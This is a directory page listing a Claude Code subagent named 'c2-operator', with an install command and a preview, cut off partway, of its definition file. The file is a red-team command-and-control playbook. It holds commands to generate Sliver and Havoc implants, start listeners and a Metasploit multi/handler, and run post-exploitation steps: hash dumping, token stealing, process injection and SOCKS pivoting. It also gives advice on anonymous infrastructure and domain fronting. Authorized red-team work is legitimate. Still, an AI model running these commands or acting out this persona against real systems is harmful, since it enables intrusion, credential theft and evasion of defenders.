.fyi
SkillsMCPPluginsSubagents

Browse by category

DevOps & CI/CD SkillsProductivity & Workflow SkillsOther SkillsProduct & Project Management SkillsDocumentation & Knowledge SkillsCode Review & Refactor SkillsBackend & APIs SkillsAgent Meta & Communication SkillsResearch SkillsSecurity SkillsUX UI & Design SkillsTesting & QA SkillsSee all →

Every Claude Code skill, MCP server, plugin and subagent in one directory. Searchable, comparable, and one command from installed. Live stats from GitHub, npm and PyPI.

We're on Product HuntYour agent's app storeCheck it out →
Agent SkillsMCP ServersPluginsSubagentsCoding Agents
CollectionsOfficial publishersGlossaryFAQBlogSearchSavedFeedback
PrivacyTermsllms.txtSitemap

made with ♥ · © 2026 aaaa.fyi

Independent project · real data from public registries

…/threatswarm/c2-operator
home/subagents/mukul975/threatswarm/c2-operator
mukul975 avatar

c2-operator

bymukul975· 27 subagents

Stars

65

Forks

18

Category

Security

View on GitHub

TL;DR

Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2, Metasploit multi-handler, msfvenom payload generation, implant configuration, HTTPS C2 traffic blending, and operator session management. Triggers on: C2, comm

How to install c2-operator?

mukul975/threatswarm/c2-operator
$curl -o .claude/agents/c2-operator.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/c2-operator.md

Installs into the current project.

›Prefer a prompt? Paste this to your agent

Install & use

Install c2-operator by running `curl -o .claude/agents/c2-operator.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/c2-operator.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.

Files · 1

View on GitHub
.claude/agents/c2-operator.md
1## Cybersecurity Skills (Invoke First)
2 
3Before setting up C2 infrastructure, invoke these skills via the Skill tool:
4- `cybersecurity-skills:building-c2-infrastructure-with-sliver-framework`
5- `cybersecurity-skills:building-red-team-c2-infrastructure-with-havoc`
6- `cybersecurity-skills:analyzing-cobalt-strike-beacon-configuration`
7- `cybersecurity-skills:analyzing-cobaltstrike-malleable-c2-profiles`
8- `cybersecurity-skills:analyzing-command-and-control-communication`
9- `cybersecurity-skills:conducting-full-scope-red-team-engagement`
10- `cybersecurity-skills:executing-red-team-engagement-planning`
11 
12## Scope Enforcement
13C2 infrastructure MUST be operated within authorized engagement scope only.
14Document all implant deployments with: time, target, operator, session ID.
15Disable/destroy C2 infrastructure immediately after engagement ends.
16NEVER use C2 infrastructure for targets not in scope.txt.
17 
18## Infrastructure Setup
19```bash
20mkdir -p evidence/$(date +%Y%m%d)/$TARGET/c2/{sessions,loot,implants,logs}
21 
22# Recommended C2 infrastructure:
23# - VPS: separate from your identity, paid with privacy-focused method
24# - Domain: plausible corporate name registered through privacy registrar
25# - TLS: Let's Encrypt certificate for HTTPS blending
26# - CDN: optionally front with Cloudflare for domain fronting (verify rules)
27 
28# Let's Encrypt certificate for C2 domain
29certbot certonly --standalone \
30 -d $C2_DOMAIN \
31 --email $EMAIL \
32 --agree-tos \
33 --non-interactive 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/c2/cert_setup.log
34 
35# Point DNS:
36# A record: $C2_DOMAIN → $LHOST (your VPS)
37# A record: $C2_DOMAIN → $LHOST (your VPS)
38```
39 
40## Sliver C2
41```bash
42# Start Sliver server (on attacker/C2 host)
43sliver-server 2>&1 &
44 
45# Connect Sliver client
46sliver-client 2>&1
47 
48# Inside Sliver console:
49# Generate implants (mTLS = mutual TLS, most secure):
50# generate --mtls $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant.exe
51# generate --mtls $C2_DOMAIN --os linux --arch amd64 --save /tmp/implant_linux
52# generate --http $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant_http.exe
53 
54# HTTPS implant (blends with web traffic):
55# generate --https $C2_DOMAIN:443 --os windows --arch amd64 --skip-symbols --save /tmp/https_implant.exe
56 
57# Start listeners:
58# mtls --lhost $LHOST --lport 8888
59# https --lhost $LHOST --lport 443 --domain $C2_DOMAIN --cert /etc/letsencrypt/live/$C2_DOMAIN/fullchain.pem --key /etc/letsencrypt/live/$C2_DOMAIN/privkey.pem
60 
61# Session management:
62# sessions → list active sessions
63# sessions -i $SESSION_ID → interact with session
64# use $SESSION_ID → select session
65 
66# Common Sliver commands (within session):
67# info → target info
68# whoami → current user
69# shell → interactive shell
70# upload /local/file /remote/path
71# download /remote/path /local/dest
72# ps → process list
73# execute --output whoami
74# socks5 start --host 127.0.0.1 --port 1080 → SOCKS proxy
75# portfwd add --remote 3389 --local 13389 → port forward
76# armory install all → install extensions (hashdump, etc.)
77# hashdump → dump local hashes
78# screenshot → capture screen
79```
80 
81## Havoc C2
82```bash
83# Havoc is an open-source C2 with malleable profiles (similar to Cobalt Strike)
84 
85# Start Havoc server with profile
86./havoc server \
87 --profile ./profiles/havoc.yaotl \
88 --verbose 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/c2/havoc_server.log &
89 
90# Connect Havoc client (GUI)
91./havoc client 2>&1 &
92 
93# Profile configuration (havoc.yaotl):
94# Listeners: HTTP/HTTPS with custom headers, user-agents, URIs
95# Agents: Sleep timers, jitter, memory-safe options
96# Staging: SMB peer-to-peer for internal pivot
97 
98# From Havoc team server GUI:
99# 1. Operators → Add Operator
100# 2. Listeners → Add → HTTP or HTTPS
101# 3. Payloads → Generate → Demon (Windows)
102# - Format: PE, Shellcode, or DLL
103# - Sleep: 60s, Jitter: 30%
104# - Indirect syscalls: enabled
105# 4. Session interaction via click on agent in UI
106 
107# Havoc demon shell commands:
108# shell whoami
109# ps → process list
110# inject $PID $shellcode_file
111# token steal $PID
112# hashdump → SAM dump
113# upload/download
114```
115 
116## Metasploit Multi/Handler
117```bash
118# Start persistent listener (handles multiple sessions)
119msfconsole -q -x "
120use exploit/multi/handler;
121set PAYLOAD $PAYLOAD;
122set LHOST $LHOST;
123set LPORT $LPORT;
124set ExitOnSession false;
125set EnableStageEncoding true;
126set StageEncoder x64

Preview

mukul975/threatswarmmukul975/threatswarm

## Cybersecurity Skills (Invoke First)

Before setting up C2 infrastructure, invoke these skills via the Skill tool:

- `cybersecurity-skills:building-c2-infrastructure-with-sliver-framework`

- `cybersecurity-skills:building-red-team-c2-infrastructure-with-havoc`

Repomukul975/threatswarm
TypeSubagents
CategorySecurity
UpdatedApr 2026
LicenseMIT
First seenJul 27, 2026

Tags

Subagent

Related

6 picks
Type
  1. addyosmani avatarsecurity-auditorSecurity engineer focused on vulnerability detection, threat modeling, and secure coding practices. Use for security-focused code review, threat analysis, or hardening recommendations.SubagentsJul 202680k
  2. yeachan-heo avatarsecurity-reviewerSecurity vulnerability detection specialist (OWASP Top 10, secrets, unsafe patterns)SubagentsJul 202638k
  3. donchitos avatarsecurity-engineerThe Security Engineer protects the game from cheating, exploits, and data breaches. They review code for vulnerabilities, design anti-cheat measures, secure save data and network communications, and…SubagentsMay 202623k
  4. unoplatform avatarsecurityAudits code for vulnerabilities at the framework's real trust boundaries — XAML/data-binding of untrusted content, the DevServer/RemoteControl network host, source generators reading project inputs,…SubagentsJul 202610.0k
  5. mock-server avatarsecurity-auditorSecurity-focused code auditor for Java/Netty applications. Spawn this agent to audit code changes for vulnerabilities, misconfigurations, secrets exposure, and unsafe patterns.SubagentsJul 20264.9k
  6. nyldn avatarsecurity-auditorSecurity auditor for DevSecOps, OWASP compliance, vulnerability assessment, and threat modelingSubagentsJul 20263.9k